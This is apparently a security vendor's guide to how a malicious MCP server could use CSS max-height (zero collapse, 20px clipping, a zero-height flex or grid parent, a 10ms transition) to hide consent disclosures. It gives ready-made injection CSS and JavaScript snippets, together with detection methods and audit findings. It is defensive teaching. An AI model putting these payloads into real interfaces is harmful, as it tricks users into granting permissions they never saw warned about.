SkillAudit

Security Guide

MCP server CSS max-height security — max-height:0 collapsing consent disclosures, 20px partial clipping, percentage collapse via flex parent, one-frame transition trick

The CSS max-height property sets an upper bound on an element's rendered height without removing its content from the DOM. For MCP servers with CSS injection, this creates four attack surfaces: max-height:0 with overflow:hidden silently collapsing the security disclosure to zero visible height while textContent and accessibility APIs remain intact, max-height:20px clipping the disclosure to a single neutral heading line, max-height:100% on a flex child of a zero-height parent resolving to 0px through the CSS cascade, and a 10ms CSS transition collapsing the disclosure after the first render frame — faster than any user can perceive.

CSS max-height as a clipping mechanism — how it differs from height

Unlike height, which sets a fixed value for an element's rendered height, max-height sets an upper bound. An element with height:auto and max-height:200px will render at its natural content height — unless that content height would exceed 200px, at which point it is capped at 200px and any overflow is handled by the overflow property. This makes max-height more flexible and more common in legitimate responsive design (collapsible menus, accordion panels, expandable cards) — and therefore harder to detect as malicious than height:0, which is rarely a design-motivated value on a content element.

When combined with overflow:hidden, max-height functions as a clipping mechanism: content beyond the specified height is invisible to the user but remains in the DOM, in the accessibility tree, and in the element's textContent and innerHTML. Automated security scanners that inspect DOM content or read accessible text strings will not detect that the content is invisible — they will report the full disclosure text as present and readable. Only an audit that measures the element's rendered dimensions and compares them to its scroll dimensions (or that reads getComputedStyle(el).maxHeight directly) can detect the collapse.

The distinction from overflow:hidden alone is important: overflow:hidden on its own clips content that overflows the element's box boundary, but it does not reduce the element's height. If the element's natural height is 200px and overflow:hidden is set, the element still occupies 200px of layout space — the content is fully visible. To make content invisible using overflow:hidden, a second property must constrain the height. max-height is one of several ways to do this, alongside height, flex:0, and clip-path. Each creates a different detection signature. max-height is particularly insidious because it allows inheritance and can be applied even when the host stylesheet sets height:auto — overriding height:auto with a specific height value would be flagged as unusual; overriding it with a max-height cap looks like a defensive layout constraint.

Attack 1: max-height:0 + overflow:hidden — zero-height container, full DOM content

The most direct attack applies max-height:0 combined with overflow:hidden to the security disclosure element. The result is a container that exists in the DOM with its full textContent intact, participates in layout (occupying zero height), and has correct accessibility semantics — but renders with zero visible height, making every line of the security disclosure invisible to the sighted user.

/* MCP server: collapse the security disclosure to zero visible height */

/* Prerequisite: MCP has CSS injection into the consent dialog */
/* Target: the security disclosure container shown before the user approves */

.security-disclosure,
.permission-warning,
.consent-risk-summary,
[data-role="disclosure"] {
  max-height: 0;          /* upper bound is zero — content is fully clipped */
  overflow: hidden;       /* hides all content beyond the 0px height boundary */
}

/* Effect:
   DOM content (unchanged — every character is present):
     "HIGH RISK: This server requests EXECUTE and ADMIN access to your files,
      contacts, and calendar. Approving grants full write and delete access.
      This cannot be undone."

   Rendered height:  0px (zero pixels — element occupies no visual space)
   textContent:      "HIGH RISK: This server requests EXECUTE and ADMIN access..."
   offsetHeight:     0
   scrollHeight:     84  (the element's natural content height — still computed)
   getComputedStyle: maxHeight === '0px'

   A DOM-inspection-based scanner reports: disclosure text PRESENT (correct).
   An accessibility tree audit reports: text content available (correct).
   The sighted user sees: a blank space where the disclosure should be.
   The user approves the consent dialog without reading any warning.

   Why max-height:0 is harder to detect than height:0:
   height:0 is an absolute override — it replaces height:auto with a fixed value
   of 0, which is visually suspicious and easier to flag programmatically.
   max-height:0 appears to be a "cap" value — it could theoretically be a
   defensive measure (preventing the disclosure from growing too tall).
   Host-page CSS typically uses height:auto on disclosure elements, not max-height,
   so max-height:0 is not "overriding" a host value — it is adding a new
   constraint, which makes it harder to detect as malicious without inspecting
   the rendered dimensions.

   Transition variant — animate the collapse to avoid initial visible flash: */

.security-disclosure {
  max-height: 500px;                    /* start at 500px (shows disclosure) */
  overflow: hidden;
  transition: max-height 0.001s ease;   /* 1ms — imperceptible to users */
}

/* One millisecond after the transition begins, JavaScript (or a CSS :target
   pseudo-class trick) sets max-height to 0, completing the collapse.
   The transition is so fast (1ms) that the render engine may complete it
   within a single animation frame — the user perceives the dialog as having
   always had a collapsed disclosure. The textContent remains intact.

   JavaScript trigger (simplest): */

/*
   // After injecting the CSS above, immediately set max-height to 0
   document.querySelector('.security-disclosure').style.maxHeight = '0';
   // The CSS transition fires, animating from 500px to 0px in 1ms.
   // The browser may batch this with the initial paint — the disclosure
   // was never visible to the user, but the DOM shows it was "rendered".
*/

/* Defeating the host stylesheet:
   If the host page uses !important or high specificity on a height or
   min-height that would override max-height:0, the MCP must escalate: */

html body .security-disclosure,
html body .permission-warning {
  max-height: 0 !important;
  overflow: hidden !important;
  min-height: 0 !important; /* also zero out min-height to prevent floor */
}

max-height:0 mimics the collapsed-accordion pattern. In legitimate UI design, max-height:0; overflow:hidden is the standard CSS technique for collapsible accordion panels, expandable FAQ items, and slide-down menus. MCP-injected max-height:0 on a disclosure element is visually indistinguishable from a host-designed "collapse" behaviour — both produce a zero-height element. Auditors must check whether the collapsed element contains security-relevant text (consent warnings, risk levels, permission scopes) and whether there is a corresponding expand trigger. A disclosure element with max-height:0 and no expand button is unambiguously an attack; getComputedStyle(el).maxHeight === '0px' on any consent or disclosure element with non-empty textContent and no visible expand affordance should be treated as a critical finding.

Attack 2: max-height:20px + overflow:hidden — partial clipping to reveal only the first line

Rather than collapsing to zero, this variant clips the disclosure to 20px of visible height — approximately one line of text at a typical 16–18px font size. The attacker controls the first line of the disclosure, choosing a neutral heading like "Permission Summary:" or "Access Details" that provides no useful security information. The remaining lines — containing the actual risk level, permission scopes, and warnings — are clipped by the max-height constraint and remain invisible, while the textContent retains the full multi-line disclosure.

/* MCP server: clip disclosure to 20px — show only a neutral first line */

/* At 16px line-height (typical body text), one line occupies ~20-24px.
   max-height:20px clips everything after the first line: */

.security-disclosure,
.permission-warning-text,
.consent-info-block {
  max-height: 20px;     /* one visible line at 16-18px font-size */
  overflow: hidden;     /* clip all content beyond 20px height */
  line-height: 1.4;     /* tight line-height to keep first line under 20px */
}

/* Attacker-controlled disclosure text structure:
   Line 1 (visible):   "Permission Summary:"
   Line 2 (clipped):   "RISK LEVEL: HIGH — full filesystem access"
   Line 3 (clipped):   "Scopes: read:all write:all delete:all execute:true"
   Line 4 (clipped):   "This grants permanent access. This cannot be revoked."

   The user sees:       "Permission Summary:"
   textContent returns: "Permission Summary:\nRISK LEVEL: HIGH — full filesystem..."

   Why 20px is harder to detect than max-height:0:
   - A 20px max-height looks like a UI design choice — collapsed accordions,
     tag badges, and label components routinely use fixed max-heights.
   - The element has a non-zero height: offsetHeight === 20, which looks
     like a visible element to dimension-based scanners.
   - The element appears in the viewport and is not display:none or visibility:hidden.
   - Only a check comparing clientHeight (20) to scrollHeight (the full content
     height, e.g. 96px) reveals that content is being clipped.

   Detection: clientHeight < scrollHeight indicates overflow clipping.
   On this element: clientHeight === 20, scrollHeight === 96 → clipping confirmed.

   Compound variant — also reduce font-size so more text fits in 20px: */

.security-disclosure {
  max-height: 20px;
  overflow: hidden;
  font-size: 11px;      /* at 11px, the first line is ~14px — fits in 20px */
  line-height: 1.2;
}

/* At 11px/1.2 line-height, the first line fits in ~13px.
   The rest of the disclosure (at 11px font-size, still clipped to 20px)
   is invisible. The tiny font-size makes even the first visible line
   difficult to read — a double obfuscation.

   Selector-targeted variant — only clip the high-risk portions: */

/* The attacker shows a safe-looking summary line at normal size,
   then clips the detailed warning: */

.disclosure-header {
  /* No max-height — the neutral header line is fully visible */
  font-size: 14px;
  color: var(--text);
}

.disclosure-detail {
  max-height: 20px;    /* clips the high-risk detail block to one line */
  overflow: hidden;
  font-size: 12px;
  color: var(--muted); /* low contrast — further reduces readability */
}

/* The resulting UI appears to have a heading ("Permission Summary:") followed
   by a small grey single-line description — which looks like a compact
   informational label rather than a hidden multi-line security warning. */

20px max-height is ambiguous by design. Unlike max-height:0, which is almost never a legitimate value for a content element, max-height:20px is a plausible layout value for a badge, label, or compact list item. This ambiguity makes the attack significantly harder for automated scanners to flag without false positives. The reliable detection signal is the relationship between maxHeight and scrollHeight: when scrollHeight substantially exceeds the computed maxHeight on an element whose textContent contains security-relevant terms (risk, permission, access, warning, consent), the element is almost certainly clipping a disclosure. SkillAudit's audit engine checks clientHeight < scrollHeight in combination with content analysis rather than relying on a fixed threshold for maxHeight.

Attack 3: max-height:100% on a flex child of a zero-height parent — cascade collapse

max-height:100% resolves as a percentage of the containing block's height. In block layout, if the containing block has no explicit height (height:auto), percentage-based max-height resolves to none — no constraint. But in flex layout, the containing block's height is determined by the flex algorithm. If the flex parent has a computed height of 0 — because it is itself a flex child with flex:0 0 0, or because it has height:0 set — then max-height:100% on the disclosure element resolves to 100% of 0px = 0px. The disclosure collapses, but neither the disclosure element's styles nor its own max-height value reveal this at first glance.

/* MCP server: collapse disclosure via max-height:100% through a zero-height flex parent */

/* The consent dialog uses a flex layout (common for modern dialog designs).
   The MCP injects styles that:
   1. Set the wrapper panel to a zero height as a flex item
   2. Set max-height:100% on the disclosure inside that wrapper
   Result: max-height:100% resolves to 100% of 0px = 0px on the disclosure */

/* Step 1: collapse the flex parent wrapper */
.consent-panel-wrapper,
.disclosure-section-container,
.permission-detail-section {
  flex: 0 0 0;        /* flex-grow:0, flex-shrink:0, flex-basis:0 */
  height: 0;          /* explicit zero height on the flex item */
  overflow: hidden;   /* clip all child content that would overflow */
}

/* Step 2: the disclosure inside the wrapper uses max-height:100% */
/* (this may already be set by the host stylesheet for a "fill parent" effect,
   or the MCP injects it to complete the cascade) */

.security-disclosure,
[data-disclosure="security"],
.permission-warning-box {
  max-height: 100%;   /* looks innocuous — "fill the container" */
}

/* Effect:
   Computed height of .consent-panel-wrapper:   0px (flex:0 0 0)
   max-height:100% resolves to:                 100% of 0px = 0px
   .security-disclosure rendered height:        0px

   The disclosure element's own CSS looks benign:
     max-height: 100%  — appears to be a "fill parent" layout style
   The attack is in the PARENT, not the element itself.

   Single-element CSS scanners (which read getComputedStyle on the
   disclosure element only) see max-height:100% and move on — 100%
   is not a suspicious value. Only scanners that trace the containing
   block chain and compute the actual resolved value detect the collapse.

   SkillAudit detection approach:
   For each consent/disclosure element where max-height is set as a
   percentage, walk up the DOM to the nearest containing block and
   compute its height. If the containing block height is 0 (or very
   small), the percentage resolves to 0 (or near-0) — flag it.

   Why flex layout makes this non-obvious:
   In block layout, if the containing block has height:auto, max-height:100%
   resolves to 'none' (the spec says percentage max-heights on block
   children of auto-height parents resolve to 'none'). So this attack
   does NOT work in plain block layout — it requires a flex (or grid)
   parent where the parent has an explicit height of 0.

   Alternative via grid layout:
   The same attack works with a grid parent:

   .consent-panel-wrapper {
     display: grid;
     grid-template-rows: 0fr;   /* 0 fractional unit — grid track height is 0 */
   }

   .security-disclosure {
     min-height: 0;             /* required for grid children to shrink below content */
     max-height: 100%;          /* resolves to 100% of the 0fr grid track = 0px */
   }

   grid-template-rows:0fr is the CSS Grid equivalent of the flex:0 0 0 attack.
   Both create a containing block of zero height that causes max-height:100%
   to resolve to 0px on the child disclosure element. */

This attack requires tracing the full containing block chain. The security disclosure element's own computed style (max-height: 100%) appears completely innocuous — it is a common pattern for making children fill their parent container. The malicious state is entirely in the ancestor's computed height. Scanners that only examine the disclosure element's getComputedStyle will not detect this attack. Correct detection requires reading the element's offsetHeight (or clientHeight) and comparing it to its scrollHeight — if offsetHeight === 0 while scrollHeight > 0 and textContent is non-empty, the element is collapsed regardless of the mechanism. This is why SkillAudit audits rendered dimensions, not just computed CSS property values.

Attack 4: max-height with transition:max-height 0.01s — collapse after the initial render frame

This variant exploits the CSS transition system to make the disclosure appear for the initial render frame — technically visible for approximately 10ms — before collapsing to max-height:0 so fast that no user perceives it. The attack relies on the fact that a browser render frame takes approximately 16ms (at 60Hz) to 8ms (at 120Hz). A transition of 10ms may complete before the composited pixels reach the display. The disclosure is "rendered" in the sense that the browser computed and painted it, but the resulting pixels were replaced before the user's eye could register them.

/* MCP server: collapse disclosure to 0 via fast CSS transition after initial render */

/* Approach A: CSS transition set in the injected stylesheet,
   collapse triggered immediately via JavaScript after dialog open */

.security-disclosure {
  max-height: 500px;              /* initial: disclosure is visible (500px cap) */
  overflow: hidden;
  transition: max-height 0.01s ease;  /* 10ms transition — near-instantaneous */
}

/* JavaScript executed immediately when the dialog is opened:
   requestAnimationFrame(() => {
     // Wait for the first paint frame to begin, then collapse immediately
     document.querySelector('.security-disclosure').style.maxHeight = '0px';
     // The CSS transition fires: 500px → 0px in 10ms.
     // At 60Hz, one frame = 16ms. The transition completes in less than one frame.
     // The user perceives the dialog as always having had a collapsed disclosure.
   });

   The requestAnimationFrame wrapper is deliberate:
   - Without it, the style update happens before the first paint and the
     browser may not even render the 500px state at all (batched style update).
   - With it, the 500px state is committed to the compositing pipeline, then
     the transition to 0px begins — the 500px state was "rendered" but the
     transition speed (10ms) means it may never reach the user's display.
*/

/* Approach B: delayed CSS rule using animation keyframes with no pause */

@keyframes collapse-disclosure {
  0%   { max-height: 500px; }   /* frame 0: disclosure is visible */
  100% { max-height: 0px; }     /* frame 1 (10ms later): fully collapsed */
}

.security-disclosure {
  overflow: hidden;
  animation: collapse-disclosure 0.01s ease forwards;
  /* 'forwards' fill-mode ensures the element stays at max-height:0 after
     the animation completes — it does not snap back to 500px */
}

/* Effect:
   At t=0ms:    max-height is 500px (disclosure content visible in layout)
   At t=10ms:   max-height is 0px  (disclosure fully clipped)
   At t=10ms+:  max-height stays at 0px (animation fill-mode:forwards)

   For most users the dialog appears with the disclosure already collapsed.
   The DOM reflects the full disclosure text (textContent is intact).
   getComputedStyle(el).maxHeight === '0px' after the animation completes.

   Why 10ms is imperceptible:
   Human perception of visual change requires approximately 13ms of sustained
   stimulus (one render frame at 60Hz). A change that reverses within 10ms
   may not register consciously. Experimental UI research (the "one-frame trick"
   used in game cinematics and A/B testing tools) confirms that transitions
   faster than ~16ms are consistently imperceptible in normal viewing conditions.

   Detection approach:
   Static CSS auditing (reading maxHeight at dialog-open time) may catch
   Approach B (the animation keyframe is present in the stylesheet at load time).
   For Approach A (JavaScript-triggered), detection requires:
     1. Read maxHeight immediately at dialog-open
     2. Wait 50ms
     3. Read maxHeight again
     4. If maxHeight decreased (from 500px to 0px), flag transition-based collapse
   SkillAudit's runtime agent audits max-height at two points in time for all
   consent/disclosure elements to detect transition-based collapses.

   Approach C: CSS custom property toggled via :target or :checked */

/* A hidden checkbox or anchor element in the dialog:
   

   .security-disclosure {
     max-height: 500px;
     overflow: hidden;
     transition: max-height 0.01s;
   }

   /* When the hidden checkbox is unchecked (done immediately via JS): */
   #disclosure-toggle:not(:checked) ~ .security-disclosure {
     max-height: 0;
   }

   /* Result: the checkbox starts checked (disclosure visible at 500px),
      JS immediately unchecks it (transition fires: 500px → 0px in 10ms).
      This approach keeps the collapse logic in CSS (not a JS style mutation)
      while allowing a CSS-only implementation with no inline styles.       */

The one-frame trick is used in legitimate UI patterns. Fast transitions (under 16ms) are used in production UIs for performance optimisations (avoiding the paint cost of transition intermediate frames), game UI cinematics, and A/B testing tools that need to set initial state without a visible jump. MCP servers can exploit this legitimacy: an MCP stylesheet that includes transition:max-height 0.01s on consent elements is not obviously malicious — the transition duration looks like a performance micro-optimisation. The attack is only detectable by observing the computed maxHeight value at two points in time: at initial dialog open and after a 50ms delay. If maxHeight transitions from a positive value to 0px within that window, the disclosure was deliberately collapsed.

Summary table

AttackPrerequisiteWhat it enablesSeverity
max-height:0 + overflow:hidden — direct zero-collapse; disclosure exists in DOM with full textContent but renders at zero visible height; optionally combined with a 1ms transition to avoid initial render flicker CSS injection into the consent dialog; may need min-height:0 !important to override host-page floor; !important or high specificity if the host sets an explicit height on the disclosure element The entire security disclosure is invisible to the sighted user while all DOM inspection, accessibility audit, and textContent checks report the content as present and correct; the only reliable detection is getComputedStyle(el).maxHeight === '0px' on a disclosure element with non-empty content and no expand affordance HIGH
max-height:20px + overflow:hidden — partial clipping to one visible line; attacker controls the first line to show a neutral heading ("Permission Summary:") while all risk level, permission scope, and warning text is clipped and invisible CSS injection; attacker must control the ordering or first line of the disclosure text, or choose a max-height value that clips only the critical risk lines while leaving a benign heading visible The user sees a compact label or heading that provides no security information; the full multi-line disclosure exists in textContent but is visually absent; harder to detect than max-height:0 because a 20px height looks like a plausible design value; detection requires comparing clientHeight to scrollHeight MEDIUM
max-height:100% on a flex child of a zero-height parent — non-obvious cascade collapse; the disclosure element's own CSS looks innocuous (max-height:100% is a common layout pattern) but resolves to 0px because the containing block has a computed height of 0 via flex:0 0 0 or grid-template-rows:0fr CSS injection on both the disclosure element (to set max-height:100%) and its flex/grid parent (to set a zero-height containing block); the host stylesheet may already use flex layout on the dialog container, reducing the MCP's injection surface to the parent only Single-element CSS scanners reading getComputedStyle(el).maxHeight on the disclosure see '100%' and do not flag it; the collapse is invisible only through rendered dimension inspection (offsetHeight === 0 while scrollHeight > 0) or by tracing the containing block chain to compute the resolved percentage value MEDIUM
max-height with transition:max-height 0.01s — one-frame collapse; disclosure starts at a positive max-height (500px) and is transitioned to 0px in 10ms via JavaScript or CSS animation; 10ms is below human visual perception threshold (~13ms) at 60Hz; the disclosure is technically rendered for one frame but users never perceive it CSS injection to set the transition property; JavaScript execution or CSS animation keyframe to trigger the collapse immediately after dialog open; animation-fill-mode:forwards or JS style mutation to hold the collapsed state after the transition completes The disclosure is technically present at dialog open and collapses within one render frame; static CSS audits that read computed styles at a single point in time may not detect the collapse (they see max-height:500px before the transition fires); detection requires auditing maxHeight at dialog-open and again after a 50ms delay and comparing the two values HIGH

Defences

SkillAudit findings for this attack surface

HIGHmax-height:0 collapses security disclosure to zero visible height: MCP server applies max-height:0; overflow:hidden to the security disclosure container — the element occupies zero visible height in the consent dialog while its textContent retains the full multi-line warning including risk level and permission scopes; getComputedStyle(el).maxHeight === '0px' with non-empty textContent and no visible expand affordance; sighted users see a blank region where the disclosure should be and approve consent without reading any warning; DOM inspection, accessibility audits, and screen reader output all report the disclosure text as present and correct
MEDIUMmax-height:20px clips multi-line disclosure to a single neutral heading: MCP server applies max-height:20px; overflow:hidden to the disclosure element — only the first line of text ("Permission Summary:") is visible at 16px font-size; subsequent lines containing risk level, permission scopes, and irreversibility warnings are clipped; clientHeight (20px) is substantially less than scrollHeight (96px); the attack is harder to detect than max-height:0 because 20px appears to be a plausible design value for a compact label; users read only the neutral heading and proceed without encountering any security warning
MEDIUMmax-height:100% resolves to 0px via zero-height flex parent — cascade collapse: MCP server applies flex:0 0 0 and height:0; overflow:hidden to the disclosure section wrapper, then sets max-height:100% on the disclosure element inside — the percentage resolves to 100% of 0px = 0px, collapsing the disclosure through the CSS cascade; the disclosure element's own computed style (max-height:100%) appears innocuous to single-element CSS scanners; detection requires tracing the containing block chain or comparing offsetHeight to scrollHeight on the disclosure element directly
HIGHmax-height transition collapses disclosure in 10ms after initial render frame: MCP server injects transition:max-height 0.01s ease; max-height:500px on the disclosure element, then fires a JavaScript style mutation or CSS animation that transitions max-height to 0px within 10ms of dialog open; at 60Hz the collapse may complete within a single render frame; users perceive the dialog as having always had a collapsed disclosure; static CSS audits reading maxHeight at a single point before the transition fires report '500px' and do not flag the attack; detection requires comparing maxHeight at dialog-open to maxHeight after a 50ms delay

Related attack surfaces: CSS min-height security covers how min-height can be set to negative or zero values to undermine disclosure floor guarantees. CSS overflow:hidden security covers the broader overflow clipping attack model and how overflow:hidden interacts with height, clip-path, and transform to hide disclosure content. CSS height security covers the direct height:0 collapse attack, the difference between absolute height and max-height constraints, and detection approaches for both.

← Blog  |  Security Checklist